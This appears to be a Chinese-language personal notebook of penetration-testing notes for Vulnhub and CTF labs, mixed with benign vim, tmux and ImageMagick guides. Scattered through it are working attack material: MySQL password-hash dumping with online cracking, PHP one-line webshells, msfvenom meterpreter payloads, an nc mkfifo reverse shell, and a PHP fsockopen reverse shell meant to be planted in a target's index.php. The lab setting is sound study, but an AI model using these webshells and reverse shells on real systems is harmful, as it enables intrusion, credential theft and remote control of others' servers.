### MySQL版本与账户密码查询

- 显示MySQL版本号:
  select version();
  


- 获取MySQL账户和密码Hash:
- MySQL <= 5.6版本:
    select host, user, password from mysql.user;
    

- MySQL >= 5.7版本:
    select host, user, authentication_string from mysql.user;
    


将获取的密码Hash直接提交到在线解密网站 [CMD5](https://www.cmd5.com/)。

#MySQL #版本查询 #密码Hash #在线解密
除了WPScan这种针对特定应用程序(如WordPress)的漏洞扫描工具外,Kali Linux中还有许多类似的专门工具,针对不同的常用Web应用和内容管理系统(CMS)。以下是一些常见的工具:

1. JoomScan

功能:专门用于扫描Joomla网站,识别Joomla CMS的已知漏洞。

用途:检测Joomla核心、插件和模块中的已知漏洞。


2. AEM-Hacker

功能:针对Adobe Experience Manager(AEM)的安全测试工具,用于识别AEM应用的常见漏洞。

用途:适合检测AEM特定的配置错误和潜在的安全问题。


3. CMSmap

功能:一个多功能CMS扫描器,支持多种CMS平台,包括WordPress、Joomla、Drupal和Moodle等。

用途:检测CMS系统的已知漏洞,并且能够自动化进行一些常见的漏洞利用。


4. Droopescan

功能:专门针对Drupal的漏洞扫描器,用于扫描Drupal核心和插件中的已知漏洞。

用途:适用于Drupal站点的安全检测,帮助识别版本漏洞和配置问题。


5. Magescan

功能:Magento电商平台的安全扫描工具,用于检测常见的安全问题。

用途:适合对Magento商店进行安全扫描,识别不安全配置和版本漏洞。


6. DVWA (Damn Vulnerable Web Application)

功能:一个专门用于Web安全教育的脆弱应用,帮助安全研究人员练习Web漏洞利用。

用途:适合渗透测试人员学习和测试跨站脚本、SQL注入等常见的Web漏洞。


7. VBScan

功能:用于扫描vBulletin论坛系统的特定漏洞。

用途:扫描vBulletin的已知漏洞和配置问题,适合vBulletin论坛安全评估。


8. Sqlmap

功能:专门用于检测和利用SQL注入漏洞。

用途:尽管不是专门针对某一CMS系统,但对任何使用SQL数据库的应用都有效,适合检测SQL注入点并尝试利用漏洞。


9. w3af (Web Application Attack and Audit Framework)

功能:一个Web应用安全评估工具,支持多种插件,可检测XSS、SQL注入等常见Web漏洞。

用途:可配置不同的扫描插件,适合全面测试Web应用的安全性。


10. XSStrike

功能:专门用于检测和利用跨站脚本(XSS)漏洞的工具。

用途:适合用于测试和验证Web应用中的XSS漏洞。


11. Arachni

功能:一个开源的Web应用程序漏洞扫描框架,特别适用于发现Web应用的各种漏洞。

用途:适合自动化Web应用安全测试,提供XSS、SQL注入、文件包含等多种漏洞检测。


12. BBQSQL

功能:一种基于时间盲注的SQL注入检测工具。

用途:主要针对SQL盲注的场景,适合深入检测SQL注入漏洞。


这些工具针对不同的CMS和Web应用场景,帮助渗透测试人员和安全研究人员在特定平台上进行有效的漏洞检测。
### PHP 文件读取方法归纳

以下是您提供的几种 PHP 文件读取方法的整理与归纳,按功能和实现方式分类:

#### 1. 使用 `file_get_contents()`
cmd=echo file_get_contents('flag.php');

- 功能: 读取整个文件的内容并返回字符串。
- 特点: 适合小型文件,直接返回文件内容。
- 优点: 简单直接,易于使用。
- 用途: 读取文本文件或 PHP 文件的内容,不会执行代码。

#### 2. 使用 `highlight_file()`
cmd=echo highlight_file('flag.php', true);

- 功能: 读取文件并以语法高亮显示 PHP 代码。
- 特点: 输出文件内容时会进行 PHP 语法高亮,适合查看 PHP 文件源码。
- 优点: 高亮显示,易于分析 PHP 代码。
- 用途: 展示 PHP 文件的源码,特别适合调试和学习。

#### 3. 使用 `readfile()`
cmd=echo readfile('flag.php');

- 功能: 直接将文件内容输出到浏览器。
- 特点: 不返回文件内容,而是直接输出文件内容。
- 优点: 适合文件内容的快速输出。
- 用途: 输出文件,适合读取并显示文件内容,适用于图片或其他二进制文件。

#### 4. 使用 `fread()` 与 `fopen()`
cmd=echo fread(fopen('flag.php', 'r'), filesize('flag.php'));

- 功能: 打开文件并读取指定字节数,通常配合 filesize() 来读取整个文件。
- 特点: 更加灵活,可以处理大文件和逐块读取。
- 优点: 读取大文件时性能较好。
- 用途: 用于大文件读取和按需读取。

#### 5. 使用 `file()` 与 `implode()`
cmd=echo implode("\n", file('flag.php'));

- 功能: file() 将文件按行读取成数组,`implode()` 将数组内容连接成字符串。
- 特点: 逐行读取文件并输出。
- 优点: 适用于按行处理文件。
- 用途: 适合读取文本文件、配置文件等,并且可以按行处理文件内容。

---

### 总结对比

| 方法 | 描述 | 优点 | 适用场景 |
|---------------------------|---------------------------------------------|-------------------------------------------------|------------------------------------------|
| `file_get_contents()` | 读取整个文件的内容并返回字符串 | 简单、直接,适合读取小文件 | 读取小型文本文件,配置文件等 |
| `highlight_file()` | 读取并高亮显示 PHP 文件的源代码 | 高亮显示 PHP 语法,便于查看源码 | 查看和分析 PHP 源码 |
| `readfile()` | 直接输出文件内容到浏览器 | 适合快速输出文件内容 | 快速输出文件内容,适用于二进制文件 |
| `fread() + `fopen() | 逐块读取文件内容 | 更加灵活,可读取大文件,按需读取文件内容 | 读取大文件或需要逐块读取文件的场景 |
| file() + implode() | 按行读取文件并将内容连接成字符串 | 适合按行处理文件,可以方便地操作文件的每一行 | 读取和处理文本文件,适合逐行分析内容 |

### 用途选择
- 如果需要快速查看文件内容并输出,推荐使用 file_get_contents() 或 `readfile()`。
- 如果文件较大,且希望逐行读取内容,则推荐使用 `file()` 和 `implode()`。
- 如果需要展示 PHP 源代码并进行高亮显示,使用 `highlight_file()` 更为合适。
- 如果处理大文件并且想要逐块读取,使用 `fread() 和 `fopen() 组合方法更为合适。

### 传入方式
这些方法可以通过 POST 请求中的 cmd 参数传递给 @eval($_POST["cmd"]) 来执行。以下是一个示例:

curl -X POST -d "cmd=echo file_get_contents('flag.php');" http://192.168.5.205/shell.php


### 关键词
#PHP #file_get_contents #highlight_file #readfile #fread #fopen #file #implode #命令注入 #源码读取
pspy64 动态、实时地抓取当前系统中所有用户执行的命令,借助它来检测当前目标主机是否存在定时任务
【【Vulnhub靶场】靶机导入到vmware后获取不到IP - CSDN App】https://blog.csdn.net/weixin_44830645/article/details/123523062?sharetype=blog&shareId=123523062&sharerefer=APP&sharesource=gandli&sharefrom=link


### Vulnhub靶场虚拟机获取不到IP的解决方法

在使用Vulnhub靶场时,很多时候会遇到靶机导入到 VMware 后无法自动获取到 IP 地址的问题。这个问题可能与靶机的网络配置文件有关。下面是两种常见的解决方法,适用于不同版本的 Ubuntu。

#### 方法一:适用于 Ubuntu 17.10 以下版本
这个方法适用于 Ubuntu 17.10 及以下版本,因为这些版本的网络配置文件通常使用 /etc/network/interfaces 文件,而不是新的 `/etc/netplan/`。

步骤:
1. 启动靶机,在 VMware 启动界面按下 `e` 键进入编辑模式。
2. 找到包含 linux 字符串的行,通常是以 ro 开头的那一行。
3. 将 ro 改为 `rw single init=/bin/bash`,这样做可以进入单用户模式。

修改后应该类似于:

   rw single init=/bin/bash
   


4. 按下 `Ctrl + X` 来启动靶机,进入单用户模式。

5. 在单用户模式下,使用 ip a 命令查看网卡名称,假设网卡名称为 `ens33`。

6. 编辑网络配置文件 `/etc/network/interfaces`:
   nano /etc/network/interfaces
   


7. 修改文件中的网卡配置,确保 `ens33` 配置为 DHCP,配置内容如下:
   auto ens33
   iface ens33 inet dhcp
   


8. 保存文件并退出编辑器,使用以下命令重启网络:
   sudo systemctl restart networking
   


9. 重新启动靶机,应该可以成功获取到 IP 地址。

#### 方法二:适用于 Ubuntu 18.04 及以上版本
对于 Ubuntu 18.04 及以上版本,网络配置使用了 netplan`,而不是 /etc/network/interfaces` 文件。

步骤:
1. 按照方法一的步骤进入单用户模式并查看网卡名称(例如 `ens33`)。

2. 在单用户模式下,进入 /etc/netplan/ 目录:
   cd /etc/netplan/
   


3. 查看当前配置文件,并编辑(例如,文件名为 `00-installer-config.yaml`):
   nano 00-installer-config.yaml
   


4. 修改配置文件,确保配置项中的网卡名称为 `ens33`,并启用 DHCP,修改后的配置内容如下:
   network:
     version: 2
     renderer: networkd
     ethernets:
       ens33:
         dhcp4: true
   


5. 保存文件并退出编辑器。

6. 应用网络配置:
   sudo netplan apply
   


7. 重启靶机,应该可以通过 DHCP 获取到 IP 地址。

#### 总结
- 方法一 适用于 Ubuntu 17.10 以下版本,修改 /etc/network/interfaces 文件来启用 DHCP。
- 方法二 适用于 Ubuntu 18.04 及以上版本,使用 netplan 配置文件进行网络配置。

#Vulnhub #靶场 #VMware #Ubuntu #获取IP #DHCP #网络配置 #Netplan #网络故障
clash-nyanpasu 安装,开启服务System Service
1. scoop 安装
scoop install clash-nyanpasu

2. 参照命令:
./nyanpasu-service install --user %USERNAME% --nyanpasu-data-dir "C:\Users\%USERNAME%\AppData\Local\Clash Nyanpasu\data" --nyanpasu-config-dir "C:\Users\%USERNAME%\AppData\Roaming\Clash Nyanpasu\config" --nyanpasu-app-dir "D:\NetWork\ClashNyan"

3. 修改路径执行:
C:\Users\sec\scoop\apps\clash-nyanpasu\current\nyanpasu-service install --user sec --nyanpasu-data-dir "C:\Users\sec\scoop\apps\clash-nyanpasu\current\.data" --nyanpasu-config-dir "C:\Users\sec\scoop\apps\clash-nyanpasu\current\.config" --nyanpasu-app-dir "C:\Users\sec\scoop\apps\clash-nyanpasu\current"


#clash #scoop
### vim 的基本用法

vim 是一个强大的文本编辑器,广泛应用于程序开发、系统管理、配置文件编辑等场景。它继承了 vi 编辑器,并增加了大量的功能和灵活性。

#### 1. 启动和退出

- 启动 vim 编辑器:

  vim 文件名
  


如果文件不存在,`vim` 会创建一个新文件。

- 退出 `vim`:

- 保存并退出**:按 `Esc` 进入命令模式,然后输入 `:wq` 并按 `Enter`。
- **保存**:按 `Esc` 进入命令模式,然后输入 `:w` 并按 `Enter`。
- **退出而不保存**:按 `Esc` 进入命令模式,然后输入 `:q!` 并按 `Enter`。
- **强制退出**(如果文件未保存):按 `Esc` 进入命令模式,然后输入 `:q!` 并按 `Enter`。

#### 2. **Vim 模式


`vim` 有三种主要的模式:

- 普通模式(Normal Mode)**:这是默认模式,进行移动光标、删除、复制、粘贴等操作。按 `Esc` 可以确保处于普通模式。

- **插入模式(Insert Mode)**:用于输入文本。在普通模式下按 `i` 进入插入模式,按 `Esc` 回到普通模式。

- **命令模式(Command Mode)**:用于输入命令(例如保存、退出、搜索等)。按 `:` 进入命令模式。

#### 3. **基本操作


##### 移动光标

- 方向键**:可以使用方向键(上下左右)来移动光标。
- **h**:向左移动一个字符。
- **j**:向下移动一行。
- **k**:向上移动一行。
- **l**:向右移动一个字符。
- **w**:跳到下一个单词的开头。
- **b**:跳到前一个单词的开头。
- **0**:跳到行首。
- **$**:跳到行尾。

##### 删除文本

- **d**:删除字符,按 `d` 后按方向键或者其它移动命令,删除光标到目标位置的内容。
- **dd**:删除当前行。
- **d$**:删除从光标当前位置到行尾的内容。
- **d0**:删除从光标当前位置到行首的内容。

##### 复制和粘贴

- **yy**:复制当前行。
- **y$**:复制从光标到行尾的内容。
- **p**:粘贴复制的内容(在光标之后)。
- **P**:粘贴复制的内容(在光标之前)。

##### 撤销和重做

- **u**:撤销上一步操作。
- **Ctrl + r**:重做撤销的操作。

##### 搜索和替换

-
/关键词**:搜索关键词。按 n 跳到下一个匹配项,按 N 跳到上一个匹配项。
- ?关键词**:反向搜索关键词(从光标向上搜索)。
-
:s/old/new/g**:替换当前行的所有 old 为 `new`。
- :%s/old/new/g**:替换整个文件的所有 `old` 为 `new`。

##### 进入插入模式

- **i**:在光标当前位置前插入文本。
- **I**:在当前行的行首插入文本。
- **a**:在光标后插入文本。
- **A**:在当前行的行尾插入文本。
- **o**:在当前行下方插入新的一行并进入插入模式。
- **O**:在当前行上方插入新的一行并进入插入模式。

##### 保存和退出

-
:w**:保存文件。
- :w 文件名**:另存为新文件。
-
:q**:退出 `vim`。
- :q!**:强制退出,不保存文件。
-
:wq**:保存并退出。
- :x**:保存并退出(与 `:wq` 相同)。

#### 4. **高级功能


##### 分屏操作

- :split:sp**:水平分割窗口。
-
:vsplit** 或 :vsp**:垂直分割窗口。
- **Ctrl + w + w**:在多个窗口之间切换。
- **Ctrl + w + h/j/k/l**:在分屏中切换焦点(左、下、上、右)。

##### 标签页和窗口管理

-
:tabnew**:打开一个新的标签页。
- :tabn 或 `gt`:切换到下一个标签页。
- :tabp 或 `gT`:切换到上一个标签页。
- :tabc**:关闭当前标签页。

##### 自定义配置

你可以通过编辑 `~/.vimrc` 配置文件来定制 `vim` 的行为。例如,设置自动缩进:

```bash
set tabstop=4 " 设置 Tab 键的宽度为 4 个空格
set shiftwidth=4 " 设置缩进时的宽度为 4 个空格
set expandtab " 将 Tab 键转换为空格
set autoindent " 自动缩进
```

#### 5. **插件管理


- Vundle 是一个常用的 Vim 插件管理器,可以轻松地安装和管理 Vim 插件。

安装 Vundle:

git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim


~/.vimrc 中配置插件:

set nocompatible
filetype off
" 设置插件管理器
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
" 插件列表
Plugin 'tpope/vim-fugitive'
Plugin 'scrooloose/nerdtree'
call vundle#end()
filetype plugin indent on


运行 :PluginInstall 来安装插件。

#### 总结

- **模式**:`vim` 有普通模式、插入模式和命令模式,切换模式是 vim 操作的关键。
- **基本操作**:如光标移动、删除、复制粘贴、撤销重做、搜索替换等。
- **高级操作**:分屏、标签页、窗口管理、自定义配置等。
- **插件**:通过插件可以扩展 vim 的功能,增加开发效率。

vim 学起来有些陡峭,但一旦掌握,就能极大提高编辑和编程的效率。掌握了基础操作后,可以深入了解更多高级功能和插件。

#vim
### tmux 的用法简介

tmux`(Terminal Multiplexer)是一个强大的终端复用工具,允许你在一个终端窗口中同时运行多个会话。它可以分割屏幕、创建多个窗口、以及在会话间切换,特别适合进行长期运行的任务,远程会话或者多个命令的同时管理。`tmux 使得你可以在一个会话中管理多个终端进程。

#### 1. 安装 `tmux`

在大多数 Linux 发行版中,你可以使用以下命令来安装 `tmux`:

- Debian/Ubuntu 系列:

  sudo apt-get install tmux
  


- CentOS/RHEL:

  sudo yum install tmux
  


- macOS:

  brew install tmux
  


#### 2. 启动和基本操作

- 启动 `tmux` 会话:

  tmux
  


或者为会话指定名称:

  tmux new -s mysession
  


- 查看当前会话列表:

  tmux ls
  


- 连接到现有会话:

  tmux attach -t mysession
  


- 分离会话(在后台运行):

tmux 会话内,按下 Ctrl + b 然后按 `d`,会话会分离并在后台运行。你可以稍后重新连接。

  tmux attach -t mysession
  


- 退出 `tmux` 会话:

在会话中输入 exit 或按 `Ctrl + d`,会话结束。

#### 3. 基本的 `tmux` 键盘快捷键

tmux 的命令是通过按下 Ctrl + b 之后再按一个键来执行。例如:

- 分屏操作:
- 水平分割屏幕:`Ctrl + b` 然后按 `%`。
- 垂直分割屏幕:`Ctrl + b` 然后按 `"`。

- 在分屏间切换:
- 切换到下一个窗口:`Ctrl + b` 然后按 `n`。
- 切换到上一个窗口:`Ctrl + b` 然后按 `p`。
- 切换到指定窗口:`Ctrl + b` 然后按窗口编号(如 0`,`1 等)。
- 切换焦点(在分屏之间切换):`Ctrl + b` 然后使用箭头键(←、→、↑、↓)。

- 创建新的窗口:
- 创建新窗口:`Ctrl + b` 然后按 `c`。
- 切换到新窗口:`Ctrl + b` 然后按 n 或 `p`。

- 关闭当前窗口:
- 退出当前窗口:`Ctrl + b` 然后按 `&`。

#### 4. tmux 分屏操作

`tmux` 的分屏功能非常强大,支持水平和垂直分割,可以在同一个会话内同时操作多个终端窗口。

- 水平分割(上下分屏):

Ctrl + b 然后按 `"`(双引号),这将把窗口分割成上下两部分。

- 垂直分割(左右分屏):

按 `Ctrl + b` 然后按 `%`,这将把窗口分割成左右两部分。

- 调整分屏大小:

按住 `Ctrl + b` 后,再按住箭头键(←、→、↑、↓)来调整分屏大小。

#### 5. tmux 会话管理

- 创建会话:

  tmux new -s mysession
  


创建一个新的 tmux 会话并命名为 `mysession`。

- 列出会话:

  tmux ls
  


显示当前所有会话。

- 连接到会话:

  tmux attach -t mysession
  


连接到名为 `mysession` 的会话。

- 分离会话:

Ctrl + b 后再按 `d`,会话会分离并在后台继续运行。

- 杀死会话:

  tmux kill-session -t mysession
  


终止名为 `mysession` 的会话。

#### 6. 其他有用的命令

- 查看 tmux 配置:

  tmux show-options
  


- 修改 `tmux` 配置:

配置文件位于 ~/.tmux.conf`,你可以在其中添加自定义配置。例如,设置 `tmux 默认分屏为垂直分割:

  #~/.tmux.conf
  bind | split-window -h
  


- 将输出重定向到文件:

  tmux capture-pane -S -1000  # 捕获最新的 1000 行
  tmux save-buffer output.txt  # 保存到 output.txt 文件
  


#### 7. tmux 和远程连接

当你通过 SSH 登录到远程服务器时,`tmux` 非常有用,因为你可以在断开连接后保持会话活跃,并且可以重新连接。

- 在远程主机上启动 tmux 会话:

  tmux new -s mysession
  


- 分离会话后断开连接:

  Ctrl + b 然后按 d
  


- 重新连接会话:

  tmux attach -t mysession
  


### 总结

- `tmux` 是一个强大的终端复用工具,允许你在一个窗口中管理多个会话。
- 你可以分屏、创建新窗口、管理多个任务,非常适合长时间运行的任务和远程工作。
- 常用操作包括:启动/连接/分离会话、分屏、创建窗口、键盘快捷键等。

希望你能充分利用 tmux 来提升工作效率,特别是在远程环境中!

#tmux #终端复用 #分屏操作 #会话管理 #Linux #终端工具
### 使用 ImageMagick 生成 1x1 像素图片(JPG、PNG、GIF)

#### 1. 安装 ImageMagick

首先,确保已安装 ImageMagick。在 Windows 环境下,使用 scoop 安装时,你已经完成了安装:

scoop install imagemagick


#### 2. 命令格式

ImageMagick 7.x 版本不再使用 convert 命令,而是使用 magick 命令。以下是生成不同格式的 1x1 像素图像的常用命令。

#### 3. 生成 JPG 图片

magick -size 1x1 xc:white 1x1.jpg


- `-size 1x1`:指定图像的尺寸为 1x1 像素。
- `xc:white`:表示图像的背景颜色是白色(可以更改为其他颜色,如 `black`、`red` 等)。
- `1x1.jpg`:输出文件名,格式为 JPG。

#### 4. 生成 PNG 图片

magick -size 1x1 xc:white 1x1.png


- `-size 1x1`:同样指定图像为 1x1 像素。
- `xc:white`:设置背景颜色为白色(可以改为其他颜色)。
- `1x1.png`:生成 PNG 格式的图片。

#### 5. 生成 GIF 图片

magick -size 1x1 xc:white 1x1.gif


- `-size 1x1`:同样指定图像为 1x1 像素。
- `xc:white`:设置背景颜色为白色(可以替换为其他颜色)。
- `1x1.gif`:生成 GIF 格式的图片。

### 总结

- **JPG**:适用于照片或渐变色图像,压缩有损,文件较小。
- **PNG**:适合无损压缩,支持透明度,适用于网页图标和图形。
- **GIF**:适合简单动画或低色彩图形,支持透明度,但仅限 256 色。

所有命令中:
- -size 1x1 指定图像为 1x1 像素。
- xc:white 表示背景颜色是白色,您可以更改颜色(如 red`、`black 等)。
- 输出的文件名(如 `1x1.jpg`、`1x1.png`、`1x1.gif`)指定了生成的图片格式。

### 常见用法

1. **生成白色背景图像**:适用于创建透明或无背景的图像,如网页设计中的图标。
2. **图像压缩**:适合小文件的生成和存储。

---

这就是使用 ImageMagick 生成 1x1 像素图像的基本步骤。如果你有更多问题,随时提问!

#ImageMagick #生成图像 #JPG #PNG #GIF #1像素图 #图片
msf6 >use exploit/multi/handler 
msf6 exploit(multi/handler)>set payload php/meterpreter/reverse_tcp 
msf6 exploit(multi/handler)>set lhost 0.0.0.0 
msf6 exploit(multi/handler)>set lport 4444 
msf6 exploit(multi/handler)>exploit
#反弹shell

以下反弹shell php 文件需要需要IP和port
❯ locate php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php


msfvenom -p php/meterpreter/reverse_tcp LH0ST=192.168.0.131 LP0RT=4444 -f raw -o /home/kali/Desktop/revshells.php
<?php 
error_reporting(0);

if($_SERVER['REQUEST_METHOD'] == 'POST'){
    @eval($_POST['cmd']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
    @system($_GET['cmd']);
}

phpinfo();
?>


#php #木马
一句话木马
同时支持 GET、POST
<?php 
@eval($_REQUEST['cmd']);
phpinfo();
?>

#php #一句话木马

反弹shell
1. 开启监听
nc -lvnp 4444

2. nc mkfifo 连接
GET、POST:
cmd=system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP Port >/tmp/f");

注意:发送前都需要进行url编码 ,hackbar\burp suite选择urlencode

#反弹shell

快速实现
metasploit-framework 开启监听,使用蚁剑As-Exploits反弹shell连接

#蚁剑
### searchsploit 的用法与漏洞利用

searchsploit 是 Exploit-DB 提供的一个命令行工具,它用于搜索并获取漏洞利用脚本。用户可以通过它快速找到与目标系统或软件相关的漏洞利用代码,并使用这些漏洞进行测试。以下是如何使用 searchsploit 搜索和利用漏洞的详细步骤。

---

## 一、`searchsploit` 搜索漏洞

### 1. 基本搜索
searchsploit 通过关键词来搜索漏洞利用脚本。例如,如果你想查找与 Apache 相关的漏洞,可以使用如下命令:
searchsploit apache

这会列出所有与 Apache 相关的漏洞利用脚本。每个结果都会显示漏洞的描述和对应的路径。

### 2. 精确搜索
使用 -e 参数可以进行精确匹配,确保搜索的词完全符合要求。例如,如果你要查找与某个特定版本的 Apache 相关的漏洞,可以使用:
searchsploit -e "Apache 2.4.1"

此命令会仅返回与 "Apache 2.4.1" 精确匹配的漏洞。

### 3. 严格搜索
使用 -s 参数进行严格匹配,确保版本号等参数完全匹配。例如,查找 Apache 2.4 的漏洞:
searchsploit -s apache 2.4

这会避免返回不完全匹配的结果。

### 4. 搜索特定文件路径
如果你只关心漏洞的标题,而不在意路径信息,可以使用 -t 参数只搜索标题:
searchsploit -t apache


### 5. 排除特定搜索结果
使用 --exclude="term" 参数可以排除特定词汇的结果。假设你要查找与 Apache 相关的漏洞,但不想看到 DDoS 攻击相关的漏洞,可以使用:
searchsploit apache --exclude="dos"


### 6. 搜索 CVE
如果你已经知道漏洞的 CVE 编号,可以直接用 --cve 参数搜索。例如,搜索 CVE-2021-44228 漏洞:
searchsploit --cve 2021-44228


### 7. 显示 JSON 格式
如果你需要以机器可解析的格式显示搜索结果,可以使用 -j 参数:
searchsploit -j apache


---

## 二、下载和查看漏洞利用

### 1. 下载漏洞利用脚本
searchsploit 允许直接下载漏洞利用脚本。使用 -m 参数来下载漏洞脚本。例如,下载漏洞编号为 39446 的脚本:
searchsploit -m 39446

该命令会将漏洞利用脚本复制到当前目录。

### 2. 查看漏洞利用脚本
如果你只是想查看漏洞利用脚本的内容,可以使用 -x 参数:
searchsploit -x 39446

这会直接显示该漏洞利用脚本的内容。

---

## 三、漏洞利用的实际步骤

### 1. 确定漏洞利用
首先,使用 searchsploit 查找与目标系统相关的漏洞。例如,如果目标是 Apache 服务器,你可以搜索与该版本 Apache 相关的漏洞:
searchsploit apache 2.4.41


### 2. 查看漏洞利用细节
找到漏洞利用脚本后,使用 -x 命令查看它的详细内容。确认漏洞的利用方式、条件以及是否需要特定的配置或环境:
searchsploit -x 12345


### 3. 下载漏洞利用脚本
在确认漏洞利用可行后,可以使用 -m 下载漏洞利用脚本到本地:
searchsploit -m 12345


### 4. 修改漏洞利用脚本
有时,漏洞利用脚本可能需要根据目标环境做一些修改。例如,调整 IP 地址、端口、路径等。编辑下载下来的脚本,确保它与你的目标匹配。

### 5. 执行漏洞利用
修改完漏洞利用脚本后,你可以在目标系统上执行它。例如,如果是远程代码执行漏洞,执行脚本可能会导致目标服务器反弹一个 shell。

示例:利用命令注入漏洞反弹 shell
<?php
$sock=fsockopen("192.168.0.100",4444); exec("/bin/sh <&3 >&3 2>&3");
?>

将这个代码植入目标服务器的网页(例如,`index.php`),然后监听本地端口 4444,等待连接:
nc -lvp 4444

一旦目标执行了漏洞利用,你将收到反弹的 shell。

---

## 四、与其他工具结合使用

### 1. 与 Nmap 集成
如果你使用 Nmap 扫描目标并生成 XML 输出,你可以将该 XML 文件作为输入传递给 `searchsploit`,自动查找与服务匹配的漏洞:
nmap -sV -oX scan_results.xml target_ip
searchsploit --nmap scan_results.xml


### 2. 更新 Exploit-DB 数据库
`searchsploit` 需要保持本地数据库的最新状态,可以通过 --update 命令更新漏洞库:
searchsploit --update


---

## 五、总结

searchsploit 是一个强大的工具,能帮助渗透测试人员快速查找并利用漏洞。它支持通过关键词、精确匹配、严格搜索等多种方式来筛选漏洞利用脚本,支持下载、查看漏洞脚本,并与其他工具(如 Nmap)结合使用,进一步提高了效率。利用 searchsploit 可以极大地提升漏洞挖掘和利用的工作效率,是渗透测试中不可或缺的工具之一。

### 常用命令总结:

- **搜索关键词**:`searchsploit apache`
- **精确搜索**:`searchsploit -e "Apache 2.4.1"`
- **查看漏洞脚本**:`searchsploit -x 12345`
- **下载漏洞脚本**:`searchsploit -m 12345`
- **搜索 CVE 漏洞**:`searchsploit --cve 2021-44228`
- **与 Nmap 集成**:`searchsploit --nmap scan_results.xml`

#searchsploit
Back to Top